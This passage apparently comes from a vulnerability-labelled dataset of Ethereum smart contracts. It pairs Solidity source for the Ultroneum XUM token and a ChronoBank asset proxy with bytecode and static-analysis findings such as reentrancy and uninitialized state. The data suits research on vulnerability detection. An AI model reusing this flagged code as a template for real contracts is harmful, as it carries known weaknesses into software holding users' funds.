060005b81811015611ee85784516001600160a01b031683529383019391830191600101611ec3565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f2657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f4557611f45611e1d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122071d423183a968043c082961b8b1e42755bb0d85eeaba2286d023d7c8e76733c264736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,321
0xb7174c01c6a8328258b6b68c1adc78a9e0f21e19
pragma solidity ^0.4.16; // Ultroneum tokens Smart contract based on the full ERC20 Token standard // https://github.com/ethereum/EIPs/issues/20 // Verified Status: ERC20 Verified Token // Ultroneum tokens Symbol: XUM contract ULTRONEUMToken { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * Ultroneum tokens Math operations with safety checks to avoid unnecessary conflicts */ library ABCMaths { // Saftey Checks for Multiplication Tasks function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } // Saftey Checks for Divison Tasks function div(uint256 a, uint256 b) internal constant returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } // Saftey Checks for Subtraction Tasks function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } // Saftey Checks for Addition Tasks function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } contract Ownable { address public owner; address public newOwner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } // validates an address - currently only checks that it isn't null modifier validAddress(address _address) { require(_address != 0x0); _; } function transferOwnership(address _newOwner) onlyOwner { if (_newOwner != address(0)) { owner = _newOwner; } } function acceptOwnership() { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; } event OwnershipTransferred(address indexed _from, address indexed _to); } contract XUMStandardToken is ULTRONEUMToken, Ownable { using ABCMaths for uint256; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function freezeAccount(address target, bool freeze) onlyOwner { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function transfer(address _to, uint256 _value) returns (bool success) { if (frozenAccount[msg.sender]) return false; require( (balances[msg.sender] >= _value) // Check if the sender has enough && (_value > 0) // Don't allow 0value transfer && (_to != address(0)) // Prevent transfer to 0x0 address && (balances[_to].add(_value) >= balances[_to]) // Check for overflows && (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack //most of these things are not necesary balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (frozenAccount[msg.sender]) return false; require( (allowed[_from][msg.sender] >= _value) // Check allowance && (balances[_from] >= _value) // Check if the sender has enough && (_value > 0) // Don't allow 0value transfer && (_to != address(0)) // Prevent transfer to 0x0 address && (balances[_to].add(_value) >= balances[_to]) // Check for overflows && (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack //most of these things are not necesary ); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { /* To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */ require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; // Notify anyone listening that this approval done Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract ULTRONEUM is XUMStandardToken { /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ uint256 constant public decimals = 16; uint256 public totalSupply = 15 * (10**7) * 10**16 ; // 150 million tokens, 16 decimal places, string constant public name = "Ultroneum"; string constant public symbol = "XUM"; function ULTRONEUM(){ balances[msg.sender] = totalSupply; // Give the creator all initial tokens } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } }
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806318160ddd146101e057806323b872dd1461020b578063313ce5671461029057806370a08231146102bb57806379ba5097146103125780638da5cb5b1461032957806395d89b4114610380578063a9059cbb14610410578063b414d4b614610475578063cae9ca51146104d0578063d4ee1d901461057b578063dd62ed3e146105d2578063e724529c14610649578063f2fde38b14610698575b600080fd5b3480156100f757600080fd5b506101006106db565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610714565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b506101f561089b565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b50610276600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a1565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a5610d70565b6040518082815260200191505060405180910390f35b3480156102c757600080fd5b506102fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d75565b6040518082815260200191505060405180910390f35b34801561031e57600080fd5b50610327610dbe565b005b34801561033557600080fd5b5061033e610f1d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561038c57600080fd5b50610395610f43565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d55780820151818401526020810190506103ba565b50505050905090810190601f1680156104025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041c57600080fd5b5061045b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f7c565b604051808215151515815260200191505060405180910390f35b34801561048157600080fd5b506104b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b3565b604051808215151515815260200191505060405180910390f35b3480156104dc57600080fd5b50610561600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506112d3565b604051808215151515815260200191505060405180910390f35b34801561058757600080fd5b50610590611570565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105de57600080fd5b50610633600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611596565b6040518082815260200191505060405180910390f35b34801561065557600080fd5b50610696600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061161d565b005b3480156106a457600080fd5b506106d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611743565b005b6040805190810160405280600981526020017f556c74726f6e65756d000000000000000000000000000000000000000000000081525081565b6000808214806107a057506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156107ab57600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108fe5760009050610d69565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156109c9575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156109d55750600082115b8015610a0e5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610aaa5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aa783600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b10155b8015610abb57506044600036905010155b1515610ac657600080fd5b610b1882600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bad82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7f82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601081565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1a57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f58554d000000000000000000000000000000000000000000000000000000000081525081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fd957600090506112ad565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156110285750600082115b80156110615750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156110fd5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110fa83600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b10155b801561110e57506044600036905010155b151561111957600080fd5b61116b82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061120082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156115145780820151818401526020810190506114f9565b50505050905090810190601f1680156115415780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af192505050151561156557600080fd5b600190509392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561167957600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561179f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156118175780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008082840190508381101580156118325750828110155b151561183a57fe5b8091505092915050565b600082821115151561185257fe5b8183039050929150505600a165627a7a723058202beb2bff9b1e2de6c507f607b7ee2dca0a0a83d7494ad922ce7f4d9ad351a9d10029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
1,322
0x33b7a018934c6e90fd63189d7c4517f0f776142f
pragma solidity ^0.4.11; contract ChronoBankPlatform { mapping(bytes32 => address) public proxies; function symbols(uint _idx) public constant returns (bytes32); function symbolsCount() public constant returns (uint); function name(bytes32 _symbol) returns(string); function setProxy(address _address, bytes32 _symbol) returns(uint errorCode); function isCreated(bytes32 _symbol) constant returns(bool); function isOwner(address _owner, bytes32 _symbol) returns(bool); function owner(bytes32 _symbol) constant returns(address); function totalSupply(bytes32 _symbol) returns(uint); function balanceOf(address _holder, bytes32 _symbol) returns(uint); function allowance(address _from, address _spender, bytes32 _symbol) returns(uint); function baseUnit(bytes32 _symbol) returns(uint8); function proxyTransferWithReference(address _to, uint _value, bytes32 _symbol, string _reference, address _sender) returns(uint errorCode); function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) returns(uint errorCode); function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) returns(uint errorCode); function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable) returns(uint errorCode); function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable, address _account) returns(uint errorCode); function reissueAsset(bytes32 _symbol, uint _value) returns(uint errorCode); function revokeAsset(bytes32 _symbol, uint _value) returns(uint errorCode); function isReissuable(bytes32 _symbol) returns(bool); function changeOwnership(bytes32 _symbol, address _newOwner) returns(uint errorCode); } contract ChronoBankAsset { function __transferWithReference(address _to, uint _value, string _reference, address _sender) returns(bool); function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool); function __approve(address _spender, uint _value, address _sender) returns(bool); function __process(bytes _data, address _sender) payable { revert(); } } contract ERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed from, address indexed spender, uint256 value); string public symbol; function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); } /** * @title ChronoBank Asset Proxy. * * Proxy implements ERC20 interface and acts as a gateway to a single platform asset. * Proxy adds symbol and caller(sender) when forwarding requests to platform. * Every request that is made by caller first sent to the specific asset implementation * contract, which then calls back to be forwarded onto platform. * * Calls flow: Caller -> * Proxy.func(...) -> * Asset.__func(..., Caller.address) -> * Proxy.__func(..., Caller.address) -> * Platform.proxyFunc(..., symbol, Caller.address) * * Asset implementation contract is mutable, but each user have an option to stick with * old implementation, through explicit decision made in timely manner, if he doesn&#39;t agree * with new rules. * Each user have a possibility to upgrade to latest asset contract implementation, without the * possibility to rollback. * * Note: all the non constant functions return false instead of throwing in case if state change * didn&#39;t happen yet. */ contract ChronoBankAssetProxy is ERC20 { // Supports ChronoBankPlatform ability to return error codes from methods uint constant OK = 1; // Assigned platform, immutable. ChronoBankPlatform public chronoBankPlatform; // Assigned symbol, immutable. bytes32 public smbl; // Assigned name, immutable. string public name; string public symbol; /** * Sets platform address, assigns symbol and name. * * Can be set only once. * * @param _chronoBankPlatform platform contract address. * @param _symbol assigned symbol. * @param _name assigned name. * * @return success. */ function init(ChronoBankPlatform _chronoBankPlatform, string _symbol, string _name) returns(bool) { if (address(chronoBankPlatform) != 0x0) { return false; } chronoBankPlatform = _chronoBankPlatform; symbol = _symbol; smbl = stringToBytes32(_symbol); name = _name; return true; } function stringToBytes32(string memory source) returns (bytes32 result) { assembly { result := mload(add(source, 32)) } } /** * Only platform is allowed to call. */ modifier onlyChronoBankPlatform() { if (msg.sender == address(chronoBankPlatform)) { _; } } /** * Only current asset owner is allowed to call. */ modifier onlyAssetOwner() { if (chronoBankPlatform.isOwner(msg.sender, smbl)) { _; } } /** * Returns asset implementation contract for current caller. * * @return asset implementation contract. */ function _getAsset() internal returns(ChronoBankAsset) { return ChronoBankAsset(getVersionFor(msg.sender)); } /** * Returns asset total supply. * * @return asset total supply. */ function totalSupply() constant returns(uint) { return chronoBankPlatform.totalSupply(smbl); } /** * Returns asset balance for a particular holder. * * @param _owner holder address. * * @return holder balance. */ function balanceOf(address _owner) constant returns(uint) { return chronoBankPlatform.balanceOf(_owner, smbl); } /** * Returns asset allowance from one holder to another. * * @param _from holder that allowed spending. * @param _spender holder that is allowed to spend. * * @return holder to spender allowance. */ function allowance(address _from, address _spender) constant returns(uint) { return chronoBankPlatform.allowance(_from, _spender, smbl); } /** * Returns asset decimals. * * @return asset decimals. */ function decimals() constant returns(uint8) { return chronoBankPlatform.baseUnit(smbl); } /** * Transfers asset balance from the caller to specified receiver. * * @param _to holder address to give to. * @param _value amount to transfer. * * @return success. */ function transfer(address _to, uint _value) returns(bool) { if (_to != 0x0) { return _transferWithReference(_to, _value, ""); } else { return false; } } /** * Transfers asset balance from the caller to specified receiver adding specified comment. * * @param _to holder address to give to. * @param _value amount to transfer. * @param _reference transfer comment to be included in a platform&#39;s Transfer event. * * @return success. */ function transferWithReference(address _to, uint _value, string _reference) returns(bool) { if (_to != 0x0) { return _transferWithReference(_to, _value, _reference); } else { return false; } } /** * Resolves asset implementation contract for the caller and forwards there arguments along with * the caller address. * * @return success. */ function _transferWithReference(address _to, uint _value, string _reference) internal returns(bool) { return _getAsset().__transferWithReference(_to, _value, _reference, msg.sender); } /** * Performs transfer call on the platform by the name of specified sender. * * Can only be called by asset implementation contract assigned to sender. * * @param _to holder address to give to. * @param _value amount to transfer. * @param _reference transfer comment to be included in a platform&#39;s Transfer event. * @param _sender initial caller. * * @return success. */ function __transferWithReference(address _to, uint _value, string _reference, address _sender) onlyAccess(_sender) returns(bool) { return chronoBankPlatform.proxyTransferWithReference(_to, _value, smbl, _reference, _sender) == OK; } /** * Prforms allowance transfer of asset balance between holders. * * @param _from holder address to take from. * @param _to holder address to give to. * @param _value amount to transfer. * * @return success. */ function transferFrom(address _from, address _to, uint _value) returns(bool) { if (_to != 0x0) { return _getAsset().__transferFromWithReference(_from, _to, _value, "", msg.sender); } else { return false; } } /** * Performs allowance transfer call on the platform by the name of specified sender. * * Can only be called by asset implementation contract assigned to sender. * * @param _from holder address to take from. * @param _to holder address to give to. * @param _value amount to transfer. * @param _reference transfer comment to be included in a platform&#39;s Transfer event. * @param _sender initial caller. * * @return success. */ function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) onlyAccess(_sender) returns(bool) { return chronoBankPlatform.proxyTransferFromWithReference(_from, _to, _value, smbl, _reference, _sender) == OK; } /** * Sets asset spending allowance for a specified spender. * * @param _spender holder address to set allowance to. * @param _value amount to allow. * * @return success. */ function approve(address _spender, uint _value) returns(bool) { if (_spender != 0x0) { return _getAsset().__approve(_spender, _value, msg.sender); } else { return false; } } /** * Performs allowance setting call on the platform by the name of specified sender. * * Can only be called by asset implementation contract assigned to sender. * * @param _spender holder address to set allowance to. * @param _value amount to allow. * @param _sender initial caller. * * @return success. */ function __approve(address _spender, uint _value, address _sender) onlyAccess(_sender) returns(bool) { return chronoBankPlatform.proxyApprove(_spender, _value, smbl, _sender) == OK; } /** * Emits ERC20 Transfer event on this contract. * * Can only be, and, called by assigned platform when asset transfer happens. */ function emitTransfer(address _from, address _to, uint _value) onlyChronoBankPlatform() { Transfer(_from, _to, _value); } /** * Emits ERC20 Approval event on this contract. * * Can only be, and, called by assigned platform when asset allowance set happens. */ function emitApprove(address _from, address _spender, uint _value) onlyChronoBankPlatform() { Approval(_from, _spender, _value); } /** * Resolves asset implementation contract for the caller and forwards there transaction data, * along with the value. This allows for proxy interface growth. */ function () payable { _getAsset().__process.value(msg.value)(msg.data, msg.sender); } /** * Indicates an upgrade freeze-time start, and the next asset implementation contract. */ event UpgradeProposal(address newVersion); // Current asset implementation contract address. address latestVersion; // Proposed next asset implementation contract address. address pendingVersion; // Upgrade freeze-time start. uint pendingVersionTimestamp; // Timespan for users to review the new implementation and make decision. uint constant UPGRADE_FREEZE_TIME = 3 days; // Asset implementation contract address that user decided to stick with. // 0x0 means that user uses latest version. mapping(address => address) userOptOutVersion; /** * Only asset implementation contract assigned to sender is allowed to call. */ modifier onlyAccess(address _sender) { if (getVersionFor(_sender) == msg.sender) { _; } } /** * Returns asset implementation contract address assigned to sender. * * @param _sender sender address. * * @return asset implementation contract address. */ function getVersionFor(address _sender) constant returns(address) { return userOptOutVersion[_sender] == 0 ? latestVersion : userOptOutVersion[_sender]; } /** * Returns current asset implementation contract address. * * @return asset implementation contract address. */ function getLatestVersion() constant returns(address) { return latestVersion; } /** * Returns proposed next asset implementation contract address. * * @return asset implementation contract address. */ function getPendingVersion() constant returns(address) { return pendingVersion; } /** * Returns upgrade freeze-time start. * * @return freeze-time start. */ function getPendingVersionTimestamp() constant returns(uint) { return pendingVersionTimestamp; } /** * Propose next asset implementation contract address. * * Can only be called by current asset owner. * * Note: freeze-time should not be applied for the initial setup. * * @param _newVersion asset implementation contract address. * * @return success. */ function proposeUpgrade(address _newVersion) onlyAssetOwner() returns(bool) { // Should not already be in the upgrading process. if (pendingVersion != 0x0) { return false; } // New version address should be other than 0x0. if (_newVersion == 0x0) { return false; } // Don&#39;t apply freeze-time for the initial setup. if (latestVersion == 0x0) { latestVersion = _newVersion; return true; } pendingVersion = _newVersion; pendingVersionTimestamp = now; UpgradeProposal(_newVersion); return true; } /** * Cancel the pending upgrade process. * * Can only be called by current asset owner. * * @return success. */ function purgeUpgrade() onlyAssetOwner() returns(bool) { if (pendingVersion == 0x0) { return false; } delete pendingVersion; delete pendingVersionTimestamp; return true; } /** * Finalize an upgrade process setting new asset implementation contract address. * * Can only be called after an upgrade freeze-time. * * @return success. */ function commitUpgrade() returns(bool) { if (pendingVersion == 0x0) { return false; } if (pendingVersionTimestamp + UPGRADE_FREEZE_TIME > now) { return false; } latestVersion = pendingVersion; delete pendingVersion; delete pendingVersionTimestamp; return true; } /** * Disagree with proposed upgrade, and stick with current asset implementation * until further explicit agreement to upgrade. * * @return success. */ function optOut() returns(bool) { if (userOptOutVersion[msg.sender] != 0x0) { return false; } userOptOutVersion[msg.sender] = latestVersion; return true; } /** * Implicitly agree to upgrade to current and future asset implementation upgrades, * until further explicit disagreement. * * @return success. */ function optIn() returns(bool) { delete userOptOutVersion[msg.sender]; return true; } }
0x6060604052361561014e5763ffffffff60e060020a60003504166306fdde0381146101e2578063095ea7b31461026d5780630ba12c83146102a35780630e6d1de9146102ca57806318160ddd146102f9578063233850891461031e57806323b872dd1461034857806323de665114610384578063313ce567146103ae57806349752baf146103d75780634bfaf2e8146104065780634dfe950d1461042b5780635b48684e146104525780636a630ee71461047957806370a08231146104fd5780637b7054c81461052e57806395d89b411461056b578063a883fb90146105f6578063a9059cbb14610625578063ac35caee1461065b578063b2b45df5146106d4578063c915fc9314610789578063cb4e75bb146107bc578063cfb51928146107e1578063d4eec5a614610844578063dd62ed3e1461086b578063ec698a28146108a2578063fe8beb711461092d575b5b610157610968565b600160a060020a031663f2d6e0ab346000363360405160e060020a63ffffffff8716028152600160a060020a03821660248201526040600482019081526044820184905290819060640185858082843782019150509450505050506000604051808303818588803b15156101ca57600080fd5b6125ee5a03f115156101db57600080fd5b505050505b005b34156101ed57600080fd5b6101f5610979565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102325780820151818401525b602001610219565b50505050905090810190601f16801561025f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561027857600080fd5b61028f600160a060020a0360043516602435610a17565b604051901515815260200160405180910390f35b34156102ae57600080fd5b61028f610ac5565b604051901515815260200160405180910390f35b34156102d557600080fd5b6102dd610b2a565b604051600160a060020a03909116815260200160405180910390f35b341561030457600080fd5b61030c610b3a565b60405190815260200160405180910390f35b341561032957600080fd5b6101e0600160a060020a0360043581169060243516604435610bb1565b005b341561035357600080fd5b61028f600160a060020a0360043581169060243516604435610c17565b604051901515815260200160405180910390f35b34